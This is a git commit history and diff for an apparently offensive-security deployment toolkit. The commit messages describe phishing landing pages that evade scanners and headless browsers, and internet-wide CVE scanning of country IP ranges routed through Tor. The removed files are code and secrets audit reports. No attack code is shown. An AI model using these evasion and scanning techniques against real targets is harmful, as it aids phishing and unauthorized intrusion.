Compare commits

43 Commits

Author SHA1 Message Date
n0mad1k 217682ecce Sanitize for public CoM release: remove audit PII, operator paths, homelab IPs, fix submodule URL 2026-06-25 12:27:37 -04:00
n0mad1k 92bc8ff921 Add audit reports and fix plan for DevTrack #1259 2026-06-25 10:26:46 -04:00
n0mad1k d287e2b009 Fix P1/P2 audit findings: shell-escape upload cmds, parameterize okta PII, harden JS parsing, restrict PHP to capture.php, tojson redirect_url 2026-06-25 10:25:35 -04:00
n0mad1k 5ef2b7ada4 Add security audit for DevTrack #1259 (phishing module lander expansion) 2026-06-25 10:22:54 -04:00
n0mad1k 459a76f91c Add robots noarchive meta and headless browser detection to all page templates 2026-06-25 10:20:27 -04:00
n0mad1k 9ff8c94987 Add X-Robots-Tag header and scanner UA blocking to phishing nginx config 2026-06-25 10:19:47 -04:00
n0mad1k 5e584a9cde Wire lander prompt and post-deploy generation into phishing workflow 2026-06-25 10:19:33 -04:00
n0mad1k 4d011e2d96 Add trusted-cloud lander generator with TDS and RId-preserving JS redirect 2026-06-25 10:19:10 -04:00
n0mad1k aa303cae8c Validate tuning inputs; remove dead pass block (audit fixes #989)
- _prompt() clamps non-positive tuning values to default with operator warning
  (HIGH from AUDIT_SEC_989: prevents garbage display when vars file has
  masscan_rate: -100 or nuclei_concurrency: 0)
- Remove empty 'if scan_mode in (...): pass' placeholder left from refactor
  (P3 from AUDIT_CODE_989)
- Add AUDIT_CODE/SEC/ENV_989.md and FIXES_989.md with skip justifications
  (path traversal not applicable to single-operator threat model;
  Tor wording already adequate; estimate disclosure interactive-only)
2026-05-03 06:49:16 -04:00
n0mad1k 10c86e8eda Phase-accurate webrunner cost/time estimator with masscan-Tor OPSEC warnings
Estimator rewrite:
- Phase-decomposed estimate_scan_hours: masscan, nmap-only, nmap-fingerprint,
  probe, nuclei phases each timed separately
- Accepts 6 tuning params (nmap_timing, nmap_workers, nuclei_rate,
  nuclei_concurrency, hit_rate, use_tor) — was previously ignoring all of them
- nmap-only mode fixed: was underestimated ~100x (treated nmap like packet
  scanning); now uses NMAP_TIME_BY_TIMING table per timing template
- masscan+nuclei mode now properly modeled (was falling through to
  masscan-only formula, missing the nuclei phase entirely)
- Tor multiplier scoped per-phase: applied to nmap/nuclei/probe only.
  Masscan uses raw sockets and Tor cannot proxy raw sockets — was
  previously applying Tor multiplier to masscan rate (incorrect)
- 5min/node provisioning overhead added (matters vs Linode 1h billing min)
- build_estimate_table accepts tuning dict, threads through to engine

Operator-facing changes (deploy_webrunner.py):
- Tuning section moved BEFORE estimate display so numbers reflect actual
  operator choices, not defaults
- Estimate header now shows active tuning values when set
- Caveats block printed below estimate explaining empirical limits
  (hit rate range, nuclei template variance, nmap timing tradeoffs,
  provisioning, billing minimums)
- CRITICAL OPSEC banner displayed when Tor enabled with masscan modes:
  loud red warning that masscan SYN packets bypass Tor and reveal cloud
  node IP. Includes confirmation gate — operator must affirm they
  understand before proceeding. Suggests nmap-only mode for full Tor
  coverage if attribution risk is unacceptable

Why: operator was getting estimates off by 100x for nmap-only and 0%
accurate for masscan+nuclei. Tuning controls were invisible to the
estimator. Tor + masscan was silently broken-by-design (raw sockets
bypass proxychains) without operator awareness.
2026-05-03 06:45:36 -04:00
n0mad1k ee1a6ff8d4 Add masscan+nuclei mode, operator tuning controls, and vars file support to webrunner
- New scan mode: masscan+nuclei — masscan finds open ip:port pairs,
  nuclei runs operator-supplied CVE template against discovered hosts
- Per-country vulnerable host count in merge output via CIDR→country lookup
- Tuning args on every scan: --nmap-timing, --nmap-timeout, --nmap-workers,
  --nuclei-rate, --nuclei-concurrency, --nuclei-timeout, --masscan-rate
- Vars file support: operator provides scan_vars.yaml to pre-fill all
  tuning settings without interactive prompts
- Templates copied to nodes at provision time — no live fetches (OPSEC)
- run_scan.yml passes all tuning args with Ansible defaults as fallback
- configure_node.yml installs nuclei binary + uploads template on demand
- Updated deployment summary shows mode-specific tuning params
- countries-format.md and targets-format.md updated for new capabilities
- scan_vars.yaml.example documents all configurable settings with comments
2026-05-02 14:49:24 -04:00
n0mad1k 9ffdad301a Add audit reports for #980 webrunner nmap parallelization 2026-05-01 11:47:21 -04:00
n0mad1k dec6c33897 Fix webrunner scan time estimate to include nmap phase
estimate_scan_hours() was pure masscan math — zero nmap time modeled.
For masscan+nmap and geo-scout modes with 10K masscan hits, actual nmap
time dominates but was completely invisible in the estimate.

Added nmap phase calculation using empirical constants:
- NMAP_TIME_PER_HOST_SEC = 10 (nmap -sV -T4 per host)
- MASSCAN_HIT_RATE = 0.01 (fraction of IPs with open ports)
- _NMAP_WORKERS = 10 (matches WEBRUNNER_NMAP_WORKERS default)

Also fixed build_estimate_table() partial-chunk overestimation: last
chunk was billed at full preset size regardless of actual IP count,
causing 1.5-2x cost inflation for non-aligned scan ranges.
2026-05-01 11:47:19 -04:00
n0mad1k 4b5db31b6b Parallelize nmap phase in webrunner node scanner
scan_masscan_nmap() and scan_geo_scout() were running nmap serially —
one host at a time with a 60s timeout, turning a 1h estimate into 24h+
for large scans.

Both modes now use ThreadPoolExecutor with 10 workers (configurable via
WEBRUNNER_NMAP_WORKERS env var). geo-scout uses an inner scan_one()
helper to batch nmap + probe_service() per host within the same future.

Also fixed probe_service() bytes format antipattern and removed dead
targets_arg variable from scan_nmap_only().

run_scan.yml converted from command: > folded scalar to command: argv:
list form to prevent argument splitting on space-containing values.
2026-05-01 11:47:12 -04:00
n0mad1k de8288181b Add per-node random regions and AWS parallel provisioning to WEBRUNNER
Each node chunk now carries its own region field, assigned round-robin
across the full provider region list unless the user pinned a specific
region. AWS uses the same async/poll:0 pattern as Linode but with a
serial per-unique-region setup phase (key import + SG) before firing all
creates in parallel. Teardown uses hostvars ec2_region per node so
multi-region AWS teardowns hit the right endpoint. Infisical replaces
interactive credential prompts for both providers. Linode vars.yaml
instance type corrected to g6-nanode-1.
2026-04-30 23:48:36 -04:00
n0mad1k 04e084617f Default Linode instance to nanode-1 — standard-2 was 4x the cost for no gain 2026-04-30 23:27:22 -04:00
n0mad1k 084b19f98e Parallelize WEBRUNNER node provisioning
All Linode creates fire simultaneously via async/poll:0 loop instead of
serial include_tasks. One shared root pass + SSH key generated before
the loop eliminates per-node credential races. async_status collects
all create confirmations before add_host. Play 2 runs with strategy:free
and -f 50 so all nodes configure, scan, and collect results concurrently.

Per-node serial provision file retired — logic is now inline.
2026-04-30 23:21:23 -04:00
n0mad1k 44f7556ad6 Fix node_chunks_file path — Ansible file lookup requires absolute paths 2026-04-30 22:55:28 -04:00
n0mad1k dc006d7265 Pull Linode token from Infisical as default; remove pointless webrunner sub-menu 2026-04-30 22:47:02 -04:00
n0mad1k 94a162f99a Gate WEBRUNNER menu on available provider credentials
Show deployment option only when at least one provider has credentials
configured. Checks LINODE_TOKEN/FLOKINET_API_KEY via Infisical and
AWS creds via env. Displays setup instructions when nothing is found
rather than letting the user launch a deployment that will immediately
fail at provisioning.
2026-04-30 22:40:40 -04:00
n0mad1k 7c362f4f34 Fix secret vars sourced from env, not config copy
create_extra_vars callers pass {**config} copies so linode_token never
landed in the original config dict. Pull provider credentials from the
environment (already set by set_provider_environment) so the temp-file
secret path works regardless of how config was constructed.
2026-04-30 21:24:10 -04:00
n0mad1k f2e726cbfd Route Ansible secrets via temp file instead of extra-vars JSON
Passes linode_token and other secrets to Ansible through a 0o600 temp
file (@tmpfile) rather than the main --extra-vars JSON blob. Fixes
undefined variable errors for provision tasks that reference linode_token
as an Ansible variable, while keeping secrets out of process listings.
Temp file is removed in finally block regardless of outcome.

Also fixes absolute path for node_chunks_file and other logs-relative
paths so Ansible lookup('file', ...) resolves correctly from any
playbook directory.
2026-04-30 21:11:05 -04:00
n0mad1k c9445232b0 Fix play-level when and teardown credential handling in webrunner.yml
Ansible does not support 'when' at the play level — moved
teardown_after_scan condition onto each individual teardown task.
Teardown Linode task now reads token from LINODE_TOKEN env var via
lookup('env') instead of the linode_token extra-var (which is now
filtered out of extra-vars by _SECRET_KEYS). AWS teardown removes
hardcoded aws_access_key/secret_key params — those are already set
as environment vars by set_provider_environment().
2026-04-30 19:08:40 -04:00
n0mad1k b8c9f08de3 Migrate Linode token fallback from vars file to Infisical
deployment_engine.py fallback for missing linode_token now calls
creds get LINODE_TOKEN homelab at runtime instead of loading from
providers/Linode/vars.yaml. Token has been moved to Infisical.
2026-04-30 19:07:19 -04:00
n0mad1k 18039b2600 Fix P1 WEBRUNNER deployment failures and secret leakage
- providers/webrunner.yml: wrap loop_var under loop_control in all three
  provider provision tasks — Ansible was rejecting loop_var as a conflicting
  action statement alongside include_tasks
- deployment_engine.py: strip _SECRET_KEYS (tokens, passwords, api keys)
  from create_extra_vars() — credentials are already set as env vars by
  set_provider_environment(), no need to pass them through --extra-vars
  where they end up in process listings and logs
- deployment_engine.py: remove debug log line that dumped the full
  ansible-playbook command including all extra-vars JSON with live creds
- deployment_engine.py: create deployment log files with 0o600 permissions
  instead of world-readable 0o644
- deploy_webrunner.py: remove load_vars_file() call that was pulling
  phishing module creds (SMTP password, gophish port, domain) into the
  webrunner config dict — all provider creds already collected by
  gather_provider_config()
- deploy_webrunner.py: remove unused select_provider import
- .gitignore: narrow 'deployment*' glob to specific artifact patterns so
  deployment_engine.py is no longer excluded from tracking
2026-04-30 19:04:42 -04:00
n0mad1k 005cbec76f Port format-spec files from geo-scout into webrunner inputs
Enables AI-assisted creation of targets.yaml and countries.yaml — drop either spec into context to generate valid input files
2026-04-30 17:01:04 -04:00
n0mad1k 42749062ba Move Tor prompt before cost estimate and factor Tor latency into estimate table
- Tor choice now appears before the estimate table so the displayed time/cost is accurate
- build_estimate_table accepts use_tor; applies 0.2x rate multiplier for nmap/probe modes
- masscan-only excluded from multiplier (masscan bypasses proxychains via raw sockets)
- Added per-mode warnings explaining which traffic actually routes through Tor
2026-04-30 16:59:24 -04:00
n0mad1k a5dcb5bd75 Remove redundant naming prompt and fix Ansible empty-prefix command failure in webrunner
- Replace get_deployment_name_with_options() call with auto-derived wr-{deployment_id}; user already entered engagement name, second naming menu was noise
- Split run_scan.yml single command with conditional Jinja prefix into two when-gated tasks; empty-string prefix from use_tor=false caused Ansible to fail with return code 4
2026-04-30 16:55:43 -04:00
n0mad1k 72b160a596 Update webrunner bundled target/country profiles with CVE-targeted probes and adversarial nation list 2026-04-30 16:55:08 -04:00
n0mad1k 01d0abe5d5 Fix WEBRUNNER: attack_box format, self-contained CIDR, tools submenu, Tor, teardown
- deploy_webrunner.py: full rewrite following attack_box pattern exactly — auto-generate
  engagement name when blank, select_provider+gather_provider_config per provider (handles
  region selection), separate teardown_after_scan (default=yes) from enhanced_opsec,
  use_tor prompt, bundled YAML defaults, setup_logging+confirm_action+show_naming_relationship
- utils/cidr_resolver.py: self-contained RIR delegation file downloader/parser — downloads
  APNIC/ARIN/RIPE/LACNIC/AFRINIC, caches 24h in ~/.cache/c2itall/cidr/, no geo-scout dep
- utils/chunk_utils.py: remove geo-scout _try_load_geo_scout() dependency, use cidr_resolver
- modules/webrunner/inputs/countries.yaml: bundled default country list (no external dep)
- modules/webrunner/inputs/targets.yaml: bundled default scan targets and ports
- deploy.py: move WEBRUNNER from main menu (item 14) to tools submenu (item 10)
- configure_node.yml: install tor+proxychains4, start tor service, configure proxychains,
  wait for circuit establishment when use_tor=true
- run_scan.yml: prefix command with proxychains4 when use_tor=true
- providers/webrunner.yml: add Play 4 teardown — Linode DELETE + AWS terminate-instances
  using hostvars instance IDs stored during provisioning, conditional on teardown_after_scan
2026-04-30 16:45:41 -04:00
n0mad1k 2c6cbc4cb7 Add WEBRUNNER distributed geo-targeted recon module
Multi-provider (Linode/AWS/FlokiNET) scan orchestration:
- Flatten all country CIDRs, chunk by IP count (sprint/balanced/economy presets)
- Assign chunks round-robin across providers
- Cost+time estimate table before deploy
- Ansible provisions N nodes in parallel, runs masscan/nmap/probe per node
- Results fetched back and merged into unified JSON report
- Scanner IPs logged per engagement for client IR reporting
- Operator IP whitelisting, enhanced OPSEC mode, YAML targets.yaml support
2026-04-30 16:26:45 -04:00
n0mad1k 34ce52650f housekeeping: add .claude/ to .gitignore 2026-04-22 15:22:31 -04:00
n0mad1k aba5c458b1 Revert all UA tagging changes — full rollback to pre-592 state 2026-04-12 07:18:43 -04:00
n0mad1k 183ad8af3d Revert trashpanda changes — out of scope for SIEM UA tagging task 2026-04-12 07:15:26 -04:00
n0mad1k 0f0dcd5dff Remove duplicate nuclei UA header from trashpanda; make UA configurable via env var 2026-04-12 07:04:30 -04:00
n0mad1k 6d14f02dd8 Tag internal nuclei scans with authorized-scan UA to aid SIEM filtering 2026-04-12 06:52:58 -04:00
n0mad1k 2762b0dfb8 Fix 11 bugs found in full codebase review
- deploy_phishing.py: undefined extra_vars on orchestration playbook
- freebird/main_menu.py: set_variable() called as function, is a method; fix to config.prompt_set_variable()
- freebird/tool_manager.py: shell=True with f-string paths; replace with direct pip binary call
- certipy-enum.py: password exposed in process list and logs; pass via env var
- cleanup_engine.py: load_vars_file() called with path string, expects provider name
- ioc-u.py: scapy import not guarded; tool crashed if scapy missing
- um_ops.py + um-vault.py: SQL table names f-stringed directly; quote identifiers
- ops-logger.sh: 63-line duplicate function block; removed second copy; quote config_script var
- recon_tools.py: ir-sandbox + link-sandbox not in TOOLS dict; forensics menu option 5 hidden from user
- um-crack.py: missing --scope flag inconsistent with all other Umbra tools
- heartbeat_ingest.py: openssl subprocess not catching FileNotFoundError; wrap with clear error
2026-04-01 22:11:01 -04:00
n0mad1k 2611221981 Fix ioc-u global declaration order and ops-logger CRLF line endings 2026-04-01 21:52:21 -04:00
n0mad1k 241c09f054 Persist tmux socket outside /tmp on attack boxes
systemd-tmpfiles cleans /tmp on a schedule, wiping the tmux socket
and breaking existing sessions. Set TMUX_TMPDIR to ~/.local/share/tmux
so the socket survives cleanup on both full and quick recon boxes.
2026-03-25 21:32:54 -04:00
n0mad1k 27d512c28f add Chaos C2 deploy module with local/remote/manage options 2026-03-21 21:42:29 -04:00
n0mad1k 1d7de9c518 Add claude-bot integration module to tools menu
New module modules/tools/deploy_claude_bot.py with claude_bot_menu()
entry point. Supports local deploy/uninstall, remote SSH deploy with
auto-generated config.yaml (credentials passed via env vars, not written
to disk), and local/remote systemctl status checks. Wired into deploy.py
tools_menu() as option 8.
2026-03-21 20:30:19 -04:00
n0mad1k d48605fa06 Add ghost_protocol as submodule + auto-clone fallback
- Added ghost_protocol-public as git submodule so it's pulled with
  git clone --recursive
- deploy_phantom() now checks submodule path first, then standalone
  ~/tools/ghost_protocol/, and auto-clones from GitHub as last resort

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-10 14:46:42 -04:00
n0mad1k f7dadf5b83 Got attack box and c2-redirector working 2025-08-21 16:25:00 -04:00
30 changed files with 59 additions and 1173 deletions
+1 -1
View File
@@ -1,3 +1,3 @@
[submodule "ghost_protocol"] [submodule "ghost_protocol"]
path = ghost_protocol path = ghost_protocol
url = https://github.com/n0mad1k/ghost_protocol-public.git url = https://git.churchofmalware.org/n0mad1k/CoM-ghost_protocol.git
+1 -1
View File
@@ -67,7 +67,7 @@ Some provider utility functions may need verification:
1. **Test the core deployment flow**: 1. **Test the core deployment flow**:
```bash ```bash
cd /home/n0mad1k/Tools/c2itall cd /opt/c2itall
python3 deploy.py python3 deploy.py
# Try option 1 (Deploy C2 Infrastructure) with a test deployment # Try option 1 (Deploy C2 Infrastructure) with a test deployment
``` ```
+1 -1
View File
@@ -8,7 +8,7 @@ stdout_callback = default
bin_ansible_callbacks = True bin_ansible_callbacks = True
nocows = 1 nocows = 1
interpreter_python = auto_silent interpreter_python = auto_silent
ansible_python_interpreter = /home/n0mad1k/Tools/c2itall/venv/bin/python ansible_python_interpreter = %(here)s/venv/bin/python
[ssh_connection] [ssh_connection]
ssh_args = -o ControlMaster=auto -o ControlPersist=60s -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes ssh_args = -o ControlMaster=auto -o ControlPersist=60s -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes
-62
View File
@@ -1,62 +0,0 @@
---
agent: code-auditor
status: COMPLETE
timestamp: 2026-06-25T10:20:00Z
duration_seconds: 120
files_scanned: 4
findings_count: 6
errors: []
skipped_checks: []
---
# Code Audit
## Files Scanned
- `modules/phishing/lander_gen.py` (103 lines)
- `modules/phishing/deploy_phishing.py` (574 lines, focused: L157-185, L417-424, L445-446)
- `modules/phishing/templates/cloud-lander.html.j2` (31 lines)
- `modules/phishing/templates/js-payload.js.j2` (11 lines)
## Findings
### HIGH
- [lander_gen.py:25-90] `post_deploy_generate_lander()` uses `print()` calls (11 instances, L62-89) in production code. Should use logging or Rich for consistency with c2itall pattern.
- [cloud-lander.html.j2:14] Magic number `20` hardcoded in `makeRandomSub(20)` for random subdomain prefix length. Should be a configurable constant; if log-harvesting becomes a threat, this will need per-request rotation and the number may change.
### MEDIUM
- [lander_gen.py:66-76] Duplicate provider-specific logic pattern. GCS, S3, and Azure blocks each construct `public_url` and `upload_cmd` independently. Same operation (URL + command generation) duplicated 3 times with 5+ line similarity each. Extract to a dict-driven pattern or helper to reduce duplication.
- [deploy_phishing.py:164-184] Nesting depth of 5 levels in lander prompt block (if → if → if → if → if). Input validation and conditional chain is difficult to follow; consider early returns or extracting to a dedicated validation function.
- [cloud-lander.html.j2:13] Hardcoded character set `'abcdefghijklmnopqrstuvwxyz0123456789'` used in random subdomain generation. If character set requirements change (e.g., exclude vowels to avoid accidental offensive domains), this will need updating in multiple places.
### LOW
- [lander_gen.py:87] Comment references "ponytail: fixed JS filename visible in webserver logs" but does not state the upgrade path. Per ponytail rules, shortcut ceilings should name when to upgrade (e.g., "upgrade to per-RId rotation if log-harvesting becomes a threat"). Current comment is incomplete.
- [deploy_phishing.py:445-446] Inline import of `post_deploy_generate_lander` inside success block. While intentional (lazy load post-deploy), this is not consistent with module-level imports at the top of the function. Consider moving to the top for clarity or add a comment explaining the late binding reason.
## Stats
- print() calls: 11 (lander_gen.py L62-89, deploy_phishing.py L158-184)
- TODO/FIXME/HACK: 0
- Files >500 lines: 1 (deploy_phishing.py)
- Functions >50 lines: 0
- Max nesting depth: 5 (deploy_phishing.py L164-184)
- Cyclomatic complexity: 2 (within acceptable range)
- Dead code: None detected
- Duplicate logic blocks: 1 (provider URL/command generation)
## Notes
### Code Quality Observations
**Strengths:**
- Input validation at trust boundaries is solid (HTTPS enforcement, campaign ID regex)
- No unused imports
- Clean separation of concerns (lander_gen.py as pure generation, deploy_phishing.py as orchestration)
- Syntax is valid across all files
**Complexity:**
- The lander prompt block in deploy_phishing.py (L164-184) has legitimate nesting due to cascading user input validation, but would benefit from extraction to reduce cognitive load.
- File sizes are within healthy range (largest is 574 lines, acceptable for a deployment orchestrator).
**Style:**
- Consistent use of COLORS dict for output (good adherence to c2itall pattern)
- Template Jinja2 syntax is correct and minimal
-64
View File
@@ -1,64 +0,0 @@
---
agent: code-auditor
status: COMPLETE
timestamp: 2026-05-01T00:00:00Z
duration_seconds: 180
files_scanned: 2
findings_count: 8
errors: []
skipped_checks: []
---
# Code Audit — DevTrack #980
## Findings
### P1 (Blocker)
- [node_scanner.py:123] **Command injection via string interpolation**`s.send(b"HEAD / HTTP/1.0\r\nHost: %b\r\n\r\n" % ip.encode())` uses `%b` format which allows raw bytes; hostname validation required. Not exploitable in this context (internal service), but antipattern. Should be `f"Host: {ip}\r\n"` as string with bytes conversion after.
- [node_scanner.py:117-133] **Socket not guaranteed closed on exception path**`probe_service()` relies on context manager but inner try/except blocks can suppress exceptions. If `s.recv()` at line 124 raises an exception NOT caught by `except Exception`, the context manager exits cleanly. **Actually safe** — verified: all paths either return or re-raise under `except Exception`, and outer `with` block guarantees cleanup. False alarm, but comment would help clarity.
### P2 (Important)
- [node_scanner.py:148] **Dead code**`targets_arg = " ".join(cidrs[:50])` (line 148) assigned but never used; removed in scan_nmap_only().
- [provider_rates.py:88] **Logic bug in build_estimate_table()** — Line 88 uses `preset['chunk_size']` to calculate hours, but line 93 calculates `n_chunks` correctly. However, the hours calculation assumes each chunk takes the same time, which is correct only if all chunks are the same size. **For the last chunk**, if `total_ips % preset['chunk_size'] != 0`, the hours are overstated (line 94 always assumes full chunk). This causes cost overestimation for non-aligned IP counts. Should calculate per-chunk IPs separately or clarify in docs that hours are per-chunk-size, not per-actual-chunk.
- [node_scanner.py:77-114] **run_nmap() called concurrently from scan_masscan_nmap() and scan_geo_scout()** — Each writes to `nmap_{ip}.xml` (unique per IP, line 79). **Thread safety: confirmed safe** — XML output files are per-IP and subprocess.run() creates isolated processes. No shared state. Risk: if same IP appears twice in one call, file overwrites but result is same. Non-issue.
### P3 (Minor)
- [node_scanner.py:20] **print() in production code** — Line 20 `log()` function calls `print()` directly. Should use logging module (logging.info) or Rich for consistency with c2itall patterns. Low impact (stderr-friendly for cloud runner), but violates style guidelines.
- [node_scanner.py:136-139] **Unused parameter in scan_masscan_only()**`node_name` parameter (line 142, 248, 262) passed but never used in any scan function. These functions don't write node metadata to results. Inconsistency with function signature expectations.
- [node_scanner.py:226] **Import inside function**`import yaml` at line 225 (inside scan_geo_scout). Move to top for clarity. Low cost import, non-blocking.
- [provider_rates.py:76-78] **Comment lacks precision** — "Tor adds ~5x latency overhead" with TOR_RATE_MULTIPLIER = 0.2 (which is 1/5, not 5x). Comment should say "reduces throughput to 1/5" or multiply by 0.2. Currently correct code, ambiguous comment.
### P4 (Nitpick)
- [node_scanner.py] **Two comment blocks (line 3-5, line 76)** without corresponding docstrings. Module-level docstring present, function docstrings absent. Minor — code is self-documenting.
- [provider_rates.py:57] **Magic number 0.018** — Default instance rate hardcoded. Should be a constant (e.g., `DEFAULT_RATE = 0.018`).
## Stats
- print() calls: 1 (in log function)
- TODO/FIXME comments: 0
- Unused imports: 0 (all imports used: ET, Path, subprocess, argparse, json, sys, time, math, socket, yaml lazy-loaded)
- Dead code blocks: 1 (targets_arg, line 148)
- Unused parameters: 3 (node_name in scan_* functions)
- Files >500 lines: 0
- Functions >50 lines: 0 (longest is run_masscan at 44 lines)
- Nesting depth >3: 0 (deepest is 3 levels in build_estimate_table, acceptable)
## Verification Notes
**Thread safety (run_nmap):** Confirmed. Each IP gets unique XML file (`nmap_{ip}.xml`). Concurrent calls from different IPs are safe. Same IP in same call overwrites but idempotent.
**estimate_scan_hours() formula:** `(ip_count * n_ports / rate) / 3600` is correct for time in hours. Rate in packets/sec, result in hours. No mathematical error, but doc should clarify units.
**Socket leak risk (probe_service):** No leak. `with socket.create_connection()` guarantees cleanup; nested exceptions all caught.
-88
View File
@@ -1,88 +0,0 @@
---
agent: code-auditor
status: COMPLETE
timestamp: 2026-05-02T00:00:00Z
duration_seconds: 180
files_scanned: 2
findings_count: 5
errors: []
skipped_checks: []
---
# Code Audit — DevTrack #989: Webrunner Estimator Rewrite
## Findings
### P2 (Medium Priority)
- **`modules/webrunner/deploy_webrunner.py:306`** — `gather_webrunner_parameters()` is 227 lines. Complexity is high due to sequential parameter gathering, but each section is self-contained (providers, countries, scan mode, tuning, estimate display, preset selection, CIDR distribution). Refactor would require breaking into multiple functions that each prompt and return data — tradeoff: current structure is arguably clearer for a linear setup wizard. **Recommendation**: Document the phases with section headers (already done with comments) and consider splitting only if interactivity requirements change.
- **`utils/provider_rates.py:87-145`** — `estimate_scan_hours()` has cyclomatic complexity of 11 (threshold: 10). The complexity is necessary: 4 scan modes × nested `use_tor` conditions = 5 paths per phase × 4 phases + rate check. Each branch is distinct (different time calculations). Logic is correct but at the boundary. **Recommendation**: acceptable due to inherent problem structure, but monitor for future growth.
- **`modules/webrunner/deploy_webrunner.py:200,206`** — Tuning params `nmap_timeout` and `nuclei_timeout` are prompted from user (lines 200, 206) and stored in config (lines 559, 562 show them printed), but **NOT passed to `estimate_scan_hours()`** in provider_rates.py. These parameters **DO NOT affect the time estimate** — they are only used at scan execution time (node_scanner.py lines 376-381, 396). This is **correct behavior** but the params are dead-code for estimation purposes. Current design: `estimate_scan_hours()` uses fixed constants (`NMAP_TIME_BY_TIMING`, `NUCLEI_TIME_PER_TARGET_SEC`) which are conservative defaults. The tuning params would require significant refactor to propagate through the estimation function signature (nmap_timeout not indexed by timing template, nuclei_timeout not indexed by template complexity). **Assessment**: No bug, by design. Timeouts are runtime constraints, not estimation inputs.
### P3 (Low Priority)
- **`modules/webrunner/deploy_webrunner.py:196`** — Dead `pass` statement. Line 195-196:
```python
if scan_mode in ('masscan+nmap', 'geo-scout', 'masscan+nuclei'):
pass # masscan_rate already handled
```
This is a placeholder comment; the condition is never needed since `masscan_rate` is always prompted on line 193. **Recommendation**: Remove the conditional block entirely.
- **`modules/webrunner/deploy_webrunner.py:265,279,281`** — Magic numbers (70, 56, 10, 25) in format strings are visual constants for table borders and tuning display. All acceptable.
### P4 (Informational)
- No `print()` statements in production code detected — all output uses Rich-style ANSI color codes via `COLORS` dict (good practice for TUI).
- No TODO/FIXME/HACK comments detected.
- No unused imports detected.
- All function signatures updated consistently (`_show_estimate_table` receives tuning dict, passes to `build_estimate_table`).
- Nuclei phase throughput calculation at `utils/provider_rates.py:140-142` is mathematically correct:
```
parallel_throughput = nuclei_concurrency / per_target
rate_throughput = nuclei_rate
effective_rps = min(rate_throughput, parallel_throughput)
```
With defaults (25 concurrency, 5s per target, 150 req/s rate): min(150, 5) = 5 req/s bottleneck (parallelism-limited). Edge cases handled correctly.
## Stats
- **Files >500 lines**: 1 (`deploy_webrunner.py`, 617 lines)
- **Functions >50 lines**: 1 (`gather_webrunner_parameters`, 227 lines)
- **Cyclomatic complexity >10**: 1 (`estimate_scan_hours`, CC=11)
- **Nesting depth >3**: 1 instance (L60, necessary for loop logic)
- **print() calls**: 0 (ANSI output via COLORS dict only)
- **TODO/FIXME/HACK**: 0
- **Dead code blocks**: 1 placeholder conditional (lines 195-196)
- **Unused imports**: 0
- **Signature changes**: 1 (`_show_estimate_table` + tuning param) — validated across 2 call sites
## Verification Notes
### Nuclei Throughput Logic ✓
The calculation `effective_rps = min(rate_throughput, parallel_throughput)` correctly identifies which constraint is tighter:
- If concurrency is small relative to per_target time (e.g., 25 / 5 = 5 req/s), parallelism is the bottleneck.
- If rate limit is small (e.g., 2 req/s), rate limit is the bottleneck.
- The `max(min(...), 1.0)` ensures effective_rps ≥ 1.0 (prevents division by very small numbers).
### Phase Decomposition Correctness ✓
Each phase (masscan, nmap, probe, nuclei) applies Tor multiplier only to TCP-based operations (nmap, nuclei, probe), never to masscan (raw sockets). This is correct per OPSEC comment on line 77-79.
### Tuning Param Integration ✓
All 6 tuning params extracted in `build_estimate_table()` are correctly passed to `estimate_scan_hours()`:
- `nmap_timing`, `nmap_workers`, `nuclei_rate`, `nuclei_concurrency`, `hit_rate`, `masscan_rate`
- No params are lost; no params are unused.
---
## No Code Quality Issues Detected
All critical paths reviewed:
- Module imports: complete and used
- Function signatures: refactored correctly
- Logic bugs: none detected
- Dead code: 1 placeholder conditional (recommended removal)
- Complexity: at acceptable threshold, necessary for problem domain
**Refactor Status**: Ready for deployment. Consider future simplification of `gather_webrunner_parameters()` if user interaction patterns change.
-61
View File
@@ -1,61 +0,0 @@
---
agent: env-validator
status: PASS
timestamp: 2026-05-02T00:00:00Z
findings_count: 0
errors: []
---
# Env Validation — DevTrack #989
## Summary
Comprehensive secrets hygiene audit for webrunner estimator rewrite (provider_rates.py and deploy_webrunner.py). **All checks passed.**
## PASS
### Secrets in source
- **provider_rates.py**: Clean. Contains only tuning constants (rate tables, timing defaults, cost multipliers). No API keys, tokens, passwords, or credential patterns detected.
- **deploy_webrunner.py**: Clean. Contains no hardcoded secrets. All credential handling is delegated to provider-specific utilities (linode_utils, aws_utils, flokinet_utils) which retrieve secrets from Infisical at runtime.
### API key/token patterns
Searched all files for:
- `ghp_[A-Za-z0-9_]+` (GitHub tokens) — NOT FOUND
- `sk_live_[A-Za-z0-9]+` or `sk_test_[A-Za-z0-9]+` (Stripe) — NOT FOUND
- `AKIA[A-Z0-9]{16}` (AWS access keys) — NOT FOUND
- `Bearer [A-Za-z0-9._-]{20,}` (bearer tokens) — NOT FOUND
- `password\s*=\s*["'][^"']{8,}` (hardcoded passwords) — NOT FOUND
- `api[_-]?key\s*=\s*["'][^"']{10,}` (API keys) — NOT FOUND
### .env file content
- No new .env files created in either module
- No .env file writes detected in code
- Tuning parameters stored in safe yaml configs:
- `inputs/targets.yaml` — target definitions, probe patterns, vulnerability tags only
- `inputs/countries.yaml` — country codes, priority levels, exclude lists only
- User-supplied vars files (optional) — only tuning parameters (masscan_rate, nmap_timing, hit_rate, etc.)
### Credential handling verification
All provider credentials properly retrieved from Infisical:
- **Linode**: `creds get LINODE_TOKEN homelab` (linode_utils.py:16-19)
- **AWS**: `creds get AWS_ACCESS_KEY_ID homelab` and `creds get AWS_SECRET_ACCESS_KEY homelab` (aws_utils.py:17-24)
- Fallback to vars file templates only (marked as placeholders like 'YOUR_AWS')
- No secrets persisted to disk; only set in `os.environ` in memory (deployment_engine.py:set_provider_environment)
### Git history check
- No secrets in recent commits to these files
- 16 commits to webrunner module examined (latest: "Phase-accurate webrunner cost/time estimator...")
- Notable commit: "Fix P1 WEBRUNNER deployment failures and secret leakage" (18039b2) — prior leak was addressed and fixed
- No secret patterns detected in any commit
### Code review
- `provider_rates.py` (209 lines): Pure computation — estimate_scan_hours(), build_estimate_table(), formatting helpers. No file I/O, no env var access.
- `deploy_webrunner.py` (617 lines): Parameter gathering and deployment orchestration. All secrets retrieved via subprocess calls to `creds` binary (lines 16-24 in provider utils). No new credential handling code introduced in this rewrite.
## Findings
**0 issues.**
No hardcoded secrets, no .env writes, no credential handling added. Secrets flow:
```
User input → provider_utils → creds binary (Infisical) → os.environ (memory only)
```
This is correct per secrets management rules.
